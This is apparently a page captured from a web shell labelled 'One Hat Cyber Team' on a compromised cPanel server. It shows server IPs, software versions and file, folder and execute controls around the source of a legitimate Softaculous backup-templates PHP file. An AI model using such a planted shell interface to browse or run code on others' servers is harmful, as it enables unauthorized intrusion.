⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
local
/
softaculous
/
enduser
/
themes
/
default
/
View File Name :
templates_theme.php
<?php ////////////////////////////////////////////////////////////// //=========================================================== // templates_theme.php //=========================================================== // SOFTACULOUS // Version : 1.1 // Inspired by the DESIRE to be the BEST OF ALL // ---------------------------------------------------------- // Started by: Alons // Date: 10th Jan 2009 // Time: 21:00 hrs // Site: http://www.softaculous.com/ (SOFTACULOUS) // ---------------------------------------------------------- // Please Read the Terms of use at http://www.softaculous.com // ---------------------------------------------------------- //=========================================================== // (c)Softaculous Inc. //=========================================================== ////////////////////////////////////////////////////////////// if(!defined('SOFTACULOUS')){ die('Hacking Attempt'); } function templates_theme(){ global $user, $globals, $l, $theme, $softpanel, $iscripts, $catwise, $error, $scripts; global $backups, $deleted, $tmpbackup_info, $cur_backups; softheader($l['<title>']); echo '<div class="bg"> <div class="row sai_main_head"> <div class="col-12 my-3 text-center"> <i class="far fa-newspaper fa-2x mr-2" style="color:#00A0D2;"></i> <span class="form-title">'.$l['templates_head'].'</span> </div> </div><hr />'; error_handle($error, '100%'); if(!empty($deleted)){ echo '<div class="alert alert-warning"><center><a href="#close" class="close" data-dismiss="alert" aria-label="close">×</a>'.$l['template_deleted'].'</center></div>'; } if(!empty($globals['templates_expire'])){ echo '<center class="alert alert-warning"><a href="#close" class="close" data-dismiss="alert" aria-label="close">×</a>'.lang_vars($l['templates_expire'], array($globals['templates_expire'])).'</center>'; } if(!empty($globals['max_templates'])){ echo '<center class="alert alert-warning"><a href="#close" class="close" data-dismiss="alert" aria-label="close">×</a>'.lang_vars($l['max_templates'], array($cur_backups, $globals['max_templates'])).'</center>'; } $info_only = optGET('info_only'); echo '<div id="stooltip" style="display:none; position:absolute; top: 0px; left: 0px; border: 1px solid #CCC; padding: 8px; background: #FFF; z-index:1000;"></div> <script language="javascript" type="text/javascript"><!-- // --><![CDATA[ function _confirm(){ var conf = confirm("'.$l['confirm_del'].'"); if(conf){ return true; }else{ return false; } }; // ]]></script>'; echo '<div class="backup-table mb-4"> <table border="0" cellpadding="0" cellspacing="0" width="100%" class="table table-hover header-table"> <tr> <thead class="sai_head2"> <th width="35%">'.$l['template_name'].'</th> <th width="30%">'.$l['file'].'</th> <th width="10%">'.$l['size'].'</th> <th width="5%" align="left">'.$l['version'].'</b></th> '.(wpcentral() ? '<th width="5%"></th>' : '').' <th width="15%">'.$l['options'].'</th> <th class="text-center"><input type="checkbox" id="check_all_backups" onchange="multiple_check()"></th> </thead> </tr> </table>'; if(is_array($backups) && count($backups) > 0){ foreach($backups as $sid => $backs){ echo '<link href="'.$globals['mirror_images'].'sprites/20.css" rel="stylesheet" type="text/css" /> <table border="0" cellpadding="5" cellspacing="0" width="100%" class="table table-responsive"> <tr> <th width="31%" class="sai_head sai_table_head"> <span class="sp20_'.$iscripts[$sid]['softname'].'"></span> <span> '.(empty($iscripts[$sid]) ? $l['no_info'] : '<a href="'.script_link($sid, 1).'" style="text-decoration:none;">'.$iscripts[$sid]['name'].'</a>').'</span> <span class="pull-right" style="margin-right:12px;"><input type="checkbox" id="'.$iscripts[$sid]['softname'].'_check_backups" onchange="script_backups_check(this.id)" class="check_all_backups"></span> </th> </tr> <tr> <td> <table border="0" cellpadding="5" cellspacing="0" width="100%" id="abody" class="table table-hover borderless">'; $j=1; foreach($backs as $bk => $iv){ $i=1; echo '<tr><td width="35%">'; if($i == 1){ echo $iv['template_name']; }else{ echo ' '; } echo '</td>'; if(!empty($iv['backup_location']) || aefer()){ echo '<td width="30%">'.$iv['name'].'</td>'; }else{ echo '<td width="30%" style="word-break:break-all;"><a href="'.$globals['ind'].'act=templates&download='.rawurlencode($iv['name']).'" title="'.$l['download'].'">'.$iv['name'].'</a></td>'; } echo '</td> <td width="10%">'.number_format($iv['size']/1024/1024, 2).' '.$l['size_mb'].'</td> <td width="10%">'.(!empty($iv['ver']) ? $iv['ver'] : '').'</td>'; if(wpcentral()){ echo '<td width="5%">'; if($iv['template_type'] == 2){ $launch_url = (!empty($user['custom_demo_launcher']) ? $user['custom_demo_launcher'].'/' : SOFT_PANEL_URL).'launch/index.php?u='.$softpanel->rawdata['username'].'&t='.slugify($iv['template_name']); echo '<a href="'.$launch_url.'" id="launch_url_'.$iv['template_name'].'" onclick="copyLaunchUrl(event, this);"><i class="fas fa-link px-2 sai_icons" style="color:#1565C0; cursor:pointer;" onmouseover="showtip(\''.addcslashes(htmlentities(__('Copy Launch URL')), "'").'\', this);"></i></a>'; } echo '</td>'; } echo '<td width="15%" class="text-right">'; if(!empty($iv['backup_location'])){ echo '<i onmouseover="showtip(\''.$l['remote_location'].addcslashes(htmlentities($user['remote_backup_locs'][$iv['backup_location']]['name']), "'").'\', this);" style="cursor:pointer;color:#1565C0;" class="fas fa-external-link-alt px-2 sai_icons"></i>'; }elseif(!aefer()){ echo '<a href="'.$globals['ind'].'act=templates&download='.rawurlencode($iv['name']).'" title="'.$l['download'].'"><i class="fas fa-download px-2 sai_icons" style="color:#1565C0;"></i></a>'; } echo ' <a href="'.$globals['ind'].'act=restore_template&restore='.rawurlencode($iv['name']).'" title="'.$l['restore'].'"><i class="fas fa-undo px-2 sai_icons" style="color:green;"></i></a> <form accept-charset="'.$globals['charset'].'" method="post" action="'.$globals['ind'].'act=templates&remove='.rawurlencode($iv['name']).(!empty($info_only) ? '&info_only=1' : '').'" class="form-horizontal"> '.csrf_display().' <button type="submit" title="'.$l['remove'].'" onclick="return _confirm();" style="border-width:0; padding:0; background:none;"><i class="fas fa-trash-alt px-2 sai_icons" style="color:red;"></i></button> </td> </form> <td width="3%"> <input type="checkbox" name="insids[]" id="'.$iv['softurl'].'" value="'.$iv['name'].'" class="shift_select_backups check_all_backups '.$iscripts[$sid]['softname'].'_check_backups"> </td> </tr>'; $i++; $j++; } echo '</table> </td></tr> </table><br />'; } }else{ echo '<div class="row"> <div class="col-12 text-center p-2 empty-notice"> <p class="m-0">'.$l['no_ins'].'</p> </div> </div>'; } echo '</div> <p align="right"> '.$l['with_selected'].': <select name="multi_options" id="multi_options"> <option name="todo" id="todo" value="0">---</option> <option name="todo" id="todo" value="mult_rem">'.$l['remove'].'</option> </select> '.csrf_display().' <input type="button" value="'.$l['go'].'" onclick="show_confirm()" class="sai_graybluebut"> <br /> </p> <div id="rem_div"></div> </div><!--end of bg class--> <script language="javascript" type="text/javascript"><!-- // --><![CDATA[ insids = new Array(); removed = new Object(); function show_confirm(){ insids = new Array(); removed = new Object(); if($_("multi_options").value != "mult_rem"){ return false; } // Build the list of Installations to remove var field = document.getElementsByName(\'insids[]\'); insids = new Array(); var c = 0; for(i = 0; i < field.length; i++){ if(field[i].checked == true){ insids[c] = field[i].value; c++; } } //alert(insids); if(c == 0){ alert("'.$l['no_sel_inst'].'"); return false; } var r = confirm("'.$l['del_insid'].'"); if(r != true){ return false; } remove_by_id(insids[0], "", 0); } function remove_by_id(insid, re, oldinsid){ removed[insid] = false; if(re.length > 0 && oldinsid > 0){ if(re == "removed"){ removed[insid] = true; } } nextinsid = 0; // Find the next INSTALLATION to remove for(i = 0; i < insids.length; i++){ if(typeof(removed[insids[i]]) != "undefined"){ continue; } nextinsid = insids[i]; break; } // If there is something left to be removed if(insid != 0){ var csrf_token = $("#csrf_token").val(); try{ $.ajax({ type: "POST", data: "csrf_token="+csrf_token, url: "'.$globals['index'].'act=templates&remove="+insid+"&ajax=1&random="+Math.random(), // Checking for error success: function(data){ remove_by_id(nextinsid, data, insid); } }); $_("rem_div").innerHTML = "<br /><br /><p align=\"center\"><img src=\"' . $theme['images'] . 'ajax_remove.gif\"> <br />'.$l['rem_template_id']. ' File: " +insid+ "<br /></p>"; return true; }catch(e){ return false; } } $_("rem_div").innerHTML = ""; alert("'.$l['inst_remvd'].'"); location.reload(true); return true; } function multiple_check(){ $("#check_all_backups").on("click", function(event){ if(this.checked == true){ $(".check_all_backups").prop("checked", true); }else{ $(".check_all_backups").prop("checked", false); } }); } function script_backups_check(element){ var softname = element.split("_")[0]; if($("#" + element).prop("checked") == true){ $("." + softname + "_check_backups").prop("checked", true); }else{ $("." + softname + "_check_backups").prop("checked", false); } } $(document).ready(function(){ multiple_check(); $(".sai_altrowstable tr").mouseover(function(){ var old_class = $(this).attr("class"); //alert(old_class); $(this).attr("class", "sai_tr_bgcolor"); $(this).mouseout(function(){ $(this).attr("class", old_class); }); }); shift_check_all("shift_select_backups"); }); function copyLaunchUrl(event, ele) { //to disable link url event.preventDefault(); var url = ele.getAttribute("href"); var textArea = document.createElement("textarea"); textArea.value = url; document.body.appendChild(textArea); textArea.select(); document.execCommand("copy"); document.body.removeChild(textArea); showtip("Copied", ele); } // ]]></script>'; softfooter(); } ?>